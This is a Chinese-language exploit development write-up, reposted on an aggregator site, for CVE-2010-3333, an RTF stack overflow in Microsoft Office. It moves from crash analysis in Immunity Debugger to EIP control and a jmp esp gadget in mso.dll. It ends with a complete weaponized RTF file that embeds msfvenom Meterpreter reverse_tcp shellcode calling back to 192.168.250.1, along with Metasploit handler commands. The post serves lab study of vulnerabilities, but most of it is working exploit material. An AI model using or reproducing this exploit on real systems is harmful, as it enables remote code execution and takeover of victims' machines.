cve-2010-3333 分析简笔

2023-11-01 21:50
文章标签 分析 cve 2010 简笔 3333

本文主要是介绍cve-2010-3333 分析简笔,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

 

    昨天分析了半拉,感觉整个过程很条理;但是今天再接着昨天的思路往下调试的时候,不知该在哪下断点了,翻阅了昨天的随手的记录才有了些印象,但是思路还是一团。看来写篇随笔还是很有必要的。故作此文。

   

简介Microsoft Office 是微软发布的非常流行的办公软件套件。 基于Mac平台的Microsoft Office XP SP3,Office 2003 SP3,Office 2007 SP2,Office 2010,Office 2004以及2008版本,基于Mac 2011平台的Office,以及基于MAC平台的Open XML文件格式转换器中存在基于栈的缓冲区溢出漏洞。远程攻击者可以借助特制的RTF数据执行任意代码。该漏洞又名"RTF栈缓冲区溢出漏洞"。

  

受影响软据cpe:/a:microsoft:office:xp:sp3	Microsoft Office XP Service Pack 3
cpe:/a:microsoft:office:2010	Microsoft Office 2010
cpe:/a:microsoft:open_xml_file_format_converter:::mac	Microsoft Open XML File Format Converter for Mac
cpe:/a:microsoft:office:2011::mac	Microsoft Office 2011 Mac
cpe:/a:microsoft:office:2007:sp2	Microsoft Office 2007 Service Pack 2
cpe:/a:microsoft:office:2008::mac	Microsoft Office 2008 Mac
cpe:/a:microsoft:office:2004::mac	Microsoft Office 2004 Mac
cpe:/a:microsoft:office:2003:sp3	Microsoft Office 2003 Service Pack 3

  调试环境: xp sp3 english 

  调试工具: immdbg   

  调试对象:

Office Professional Enterprise Edition 2003 (English) 详细信息
文件名
en_office_2003_pro.iso
SHA1
0D90F58105DCBC74A8972802340B3226679E7119
文件大小
400.55MB
发布时间
2003-09-03
ed2k://|file|en_office_2003_pro.iso|420005888|2828bdb2400cf75af224c3e4a919bd9b|/

  

  参考: 《漏洞战争》 以及 http://www.52pojie.cn/thread-290299-1-1.html

 

  0x01 简单的样本

  简单的样本0.doc

{\rtf1{}{\shp{\*\shpinst{\sp{\sv 1;1;4141414141414141414141414141}{\sn pfragments}}}}}

  1.启动 winword.exe ,启动immdbg,附加winword.exe进程;

  2. 将0.doc 拖入 winword 窗口

  3. immdbg抓到执行异常、如下

  4. 堆栈如下

  

可以看到我们的41414141 ... 已经被复制到栈上了,如果增加就会覆盖到返回地址,通过观察堆栈我们很容易看到距离返回地址没多少距离。

  0x01 简单的样本1,找出问题根源

  从上面我们可以推测出:是数据copy时造成了栈溢出,那么我们增加恶意数据,一定会撑爆栈,造成非法写入。就能定位到是谁在乱写了。

  1. 利用mona 的pc生成大量的数据,这里我生成1000字节先试试(没有安装mona的同学,可以去github搜索下载,放入immdbg安装路径下的pycommands目录就可以了),在下面的命令输入

处键入 !mona pc 1000  如下图

这样就生成了1000字节的数据,可以到Immdbg安装目录下的pattern.txt 查看详细内容

复制 ascii:下的字符串

写入到样本1.doc中如下

再次调试打开,参考上面的 0x00 的 1.2.3.4.... 

immdbg抓到了异常写入错误

罪魁祸首在这里

将以上代码复制出来,保存为txt,作为记录

30E9EB78   56               PUSH ESI
30E9EB79   8BF1             MOV ESI,ECX
30E9EB7B   0FAF7424 14      IMUL ESI,DWORD PTR SS:[ESP+14]
30E9EB80   0370 10          ADD ESI,DWORD PTR DS:[EAX+10]
30E9EB83   8BC1             MOV EAX,ECX
30E9EB85   C1E9 02          SHR ECX,2
30E9EB88   F3:A5            REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
30E9EB8A   8BC8             MOV ECX,EAX
30E9EB8C   83E1 03          AND ECX,3
30E9EB8F   F3:A4            REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
30E9EB91   5E               POP ESI
30E9EB92   5F               POP EDI
30E9EB93   C2 0C00          RETN 0C
30E9EB96   56               PUSH ESI
30E9EB97   57               PUSH EDI

  标黑部分为造成异常的原因,位于mso.dll中,所以下次,我们在这里下断点。着重跟踪下

    0x02 手动构造样本02 ,跟踪溢出过程

    样本2.doc如下

{\rtf1{}{\shp{\*\shpinst{\sp{\sv 1;1;4142434445464748495051525354555657585960616263646566676869707172737475}{\sn pfragments}}}}}

  再次附加调试打开样本。参考0x00 

  当winword运行起来后,我们要下断点 bp 30E9EB88 ,我们首先看下mso.dll ,是否已经正常加载,使用mona 命令 

可以到到mso已经加载,所以可以直接下断点了

下好断点后,打开文件2.doc,immdbg停在在了

30E9EB88   F3:A5            REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]

  正在复制数据,从esi 到edi复制,我们看下edi 是哪里

EAX 00004645
ECX 00001191
EDX 00000000
EBX 05000000
ESP 0012A280
EBP 0012A2B8
ESI 05A2000C ASCII "GHIPQRSTUVWXY`abcdefghipqrstu"
EDI 0012A2A8
EIP 30E9EB88 mso.30E9EB88
C 0  ES 0023 32bit 0(FFFFFFFF)
P 0  CS 001B 32bit 0(FFFFFFFF)
A 0  SS 0023 32bit 0(FFFFFFFF)
Z 0  DS 0023 32bit 0(FFFFFFFF)
S 0  FS 003B 32bit 7FFDF000(FFF)
T 0  GS 0000 NULL
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00000202 (NO,NB,NE,A,NS,PO,GE,G)
ST0 empty
ST1 empty
ST2 empty
ST3 empty
ST4 empty
ST5 empty
ST6 empty
ST7 empty3 2 1 0      E S P U O Z D I
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
FCW 037F  Prec NEAR,64  Mask    1 1 1 1 1 1

  可以知道edi指向栈中,在栈窗口ctrl+g 打开地址输入对话框,键入 edi,回车

栈如下

0012A2A8   FFFF0000  ..ÿÿ
0012A2AC   05000000  ...
0012A2B0   00000000  ....
0012A2B4   0000FFFF  ÿÿ..
0012A2B8  /0012A2E8  è¢.
0012A2BC  |30F4CDBD  ½Íô0  RETURN to mso.30F4CDBD from mso.30F4CC5D

  观察如上栈的情况,下面不远就是返回地址

再看看复制数据的来源,是否是我们写入的数据

在数据窗口键入 ctrl+g ,键入 esi 回车

正式我们写入的数据

通过以上我们可以知道,我们的数据在复制到栈上时,会覆盖返回地址,下面我们看下复制完成后是否覆盖了返回地址

F8一下,复制完成,我们在去看看 

0012A2A8处的栈情况
0012A2A8 50494847 GHIP
0012A2AC 54535251 QRST
0012A2B0 58575655 UVWX
0012A2B4 62616059 Y`ab
0012A2B8 66656463 cdef
0012A2BC 70696867 ghip
0012A2C0 74737271 qrst
0012A2C4 00000075 u...
0012A2C8 00000000 ....
0012A2CC 00000000 ....
0012A2D0 00000000 ....
0012A2D4 00000000 ....
0012A2D8 00000000 ....
0012A2DC 00000000 ....
0012A2E0 00000000 ....
0012A2E4 00000000 ....
0012A2E8 00000000 ....

  对比下

复制前的 返回地址0012A2BC  |30F4CDBD  ½Íô0  RETURN to mso.30F4CDBD from mso.30F4CC5D复制数据后的返回地址0012A2BC 70696867 ghip已经被我们的数据覆盖,下面当函数返回时就会造成eip跑飞,被控制

  下面我们继续f8 ,一步一步 

来到如上图位置时,堆栈情况如下

 接下来,f7 跟入,如下

 eip 已经被 70696867,控制

以上我们已经定位到可控eip的位置

  0x03 找个跳板

通过观察栈情况

此时esp指向 0012A2D4 ,我们可以利用jmp esp 来跳入shellcode中,

我们可以将shellcode向下布置到 0012A2D4 

  找个稳定的跳板,jmp esp ,这里我们还是利用mona ,为了稳定我们不适用系统的跳板,这里我们使用mso.dll的跳板

命令 !mona jmp -r esp -m mso.dll -o  // 这里解释下 jmp 找跳板的命令,-r esp 寄存器指定为esp ;-m 指定dll名称,-o 忽略系统dll

稍等片刻,点击工具栏中的 l ,显示日志窗口。

 

这里选择一个条本就行了,我们选择 0x30cd10a7 , 下面我们替换下

{\rtf1{}{\shp{\*\shpinst{\sp{\sv 1;1;4142434445464748495051525354555657585960616263646566a710cd30}{\sn pfragments}}}}}

  

验证下跳板,将以上内容保存为3.doc

附加winword ,下断点,30f4cd55 ,这里返回后就EIP被控了,就会去 30cd10a7 

来到断点处,可以看到现在的栈顶就是我们的跳板,f7 跟踪下

f7 继续

f7 继续

可以看到 eip 被控制到栈中 12a2D4 去了,此时栈中布局

通过以上观察,我们可以多放些滑块,在后面布置shellcode就行了

 

0x04 构造exploit ,触发利用,验证

 

通过以上调试和观察,我们已经摸清楚了,可以得出我们exp布局,

12a2d4 - 12a2bc = 24 ,

在跳板后布置20个00,后面就可以跟我们的shellcode了,这里我使用 msf生成

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.250.1 LPORT=4444 -f hex > 111.payload

直接提取shellcode为hex字符类型,存放在1111.payload中如下

fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c772607ffd5b89001000029c454506829806b00ffd5505050504050405068ea0fdfe0ffd5976a0568c0a8fa01680200115c89e66a1056576899a57461ffd585c0740aff4e0875ece83f0000006a006a0456576802d9c85fffd583f8007ee98b366a406800100000566a006858a453e5ffd593536a005653576802d9c85fffd583f8007ec301c329c675e9c3bbf0b5a2566a0053ffd5

  

注释:我的kali 使用ip 250.1 ,xp 调试机器为250.2 ,互ping都是通的。

 

最后得到样本文件04.doc

{\rtf1{}{\shp{\*\shpinst{\sp{\sv 1;1;4142434445464748495051525354555657585960616263646566ae61d23000000000000000000000000000000000000000009090909090909090909090909090909090909090fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c772607ffd5b89001000029c454506829806b00ffd5505050504050405068ea0fdfe0ffd5976a0568c0a8fa01680200115c89e66a1056576899a57461ffd585c0740aff4e0875ece83f0000006a006a0456576802d9c85fffd583f8007ee98b366a406800100000566a006858a453e5ffd593536a005653576802d9c85fffd583f8007ec301c329c675e9c3bbf0b5a2566a0053ffd5}{\sn pfragments}}}}}

  

msf 监听命令如下

 use exploit/multi/handler 
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.250.1
exploit

  winword打开样本04 ,msf得到反弹shell

 

转载于:https://www.cnblogs.com/M4ster/p/cve-2010-3333_debug.html

这篇关于cve-2010-3333 分析简笔的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!


原文地址:https://blog.csdn.net/weixin_38166557/article/details/98114871
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.chinasem.cn/article/325984

相关文章

SpringBoot中六种批量更新Mysql的方式效率对比分析

《SpringBoot中六种批量更新Mysql的方式效率对比分析》文章比较了MySQL大数据量批量更新的多种方法,指出REPLACEINTO和ONDUPLICATEKEY效率最高但存在数据风险,MyB... 目录效率比较测试结构数据库初始化测试数据批量修改方案第一种 for第二种 case when第三种

解决1093 - You can‘t specify target table报错问题及原因分析

《解决1093-Youcan‘tspecifytargettable报错问题及原因分析》MySQL1093错误因UPDATE/DELETE语句的FROM子句直接引用目标表或嵌套子查询导致,... 目录报js错原因分析具体原因解决办法方法一:使用临时表方法二:使用JOIN方法三:使用EXISTS示例总结报错原

MySQL中的LENGTH()函数用法详解与实例分析

《MySQL中的LENGTH()函数用法详解与实例分析》MySQLLENGTH()函数用于计算字符串的字节长度,区别于CHAR_LENGTH()的字符长度,适用于多字节字符集(如UTF-8)的数据验证... 目录1. LENGTH()函数的基本语法2. LENGTH()函数的返回值2.1 示例1:计算字符串

Android kotlin中 Channel 和 Flow 的区别和选择使用场景分析

《Androidkotlin中Channel和Flow的区别和选择使用场景分析》Kotlin协程中,Flow是冷数据流,按需触发,适合响应式数据处理;Channel是热数据流,持续发送,支持... 目录一、基本概念界定FlowChannel二、核心特性对比数据生产触发条件生产与消费的关系背压处理机制生命周期

怎样通过分析GC日志来定位Java进程的内存问题

《怎样通过分析GC日志来定位Java进程的内存问题》:本文主要介绍怎样通过分析GC日志来定位Java进程的内存问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录一、GC 日志基础配置1. 启用详细 GC 日志2. 不同收集器的日志格式二、关键指标与分析维度1.

MySQL中的表连接原理分析

《MySQL中的表连接原理分析》:本文主要介绍MySQL中的表连接原理分析,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录1、背景2、环境3、表连接原理【1】驱动表和被驱动表【2】内连接【3】外连接【4编程】嵌套循环连接【5】join buffer4、总结1、背景

python中Hash使用场景分析

《python中Hash使用场景分析》Python的hash()函数用于获取对象哈希值,常用于字典和集合,不可变类型可哈希,可变类型不可,常见算法包括除法、乘法、平方取中和随机数哈希,各有优缺点,需根... 目录python中的 Hash除法哈希算法乘法哈希算法平方取中法随机数哈希算法小结在Python中,

Java Stream的distinct去重原理分析

《JavaStream的distinct去重原理分析》Javastream中的distinct方法用于去除流中的重复元素,它返回一个包含过滤后唯一元素的新流,该方法会根据元素的hashcode和eq... 目录一、distinct 的基础用法与核心特性二、distinct 的底层实现原理1. 顺序流中的去重

关于MyISAM和InnoDB对比分析

《关于MyISAM和InnoDB对比分析》:本文主要介绍关于MyISAM和InnoDB对比分析,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录开篇:从交通规则看存储引擎选择理解存储引擎的基本概念技术原理对比1. 事务支持:ACID的守护者2. 锁机制:并发控制的艺

MyBatis Plus 中 update_time 字段自动填充失效的原因分析及解决方案(最新整理)

《MyBatisPlus中update_time字段自动填充失效的原因分析及解决方案(最新整理)》在使用MyBatisPlus时,通常我们会在数据库表中设置create_time和update... 目录前言一、问题现象二、原因分析三、总结:常见原因与解决方法对照表四、推荐写法前言在使用 MyBATis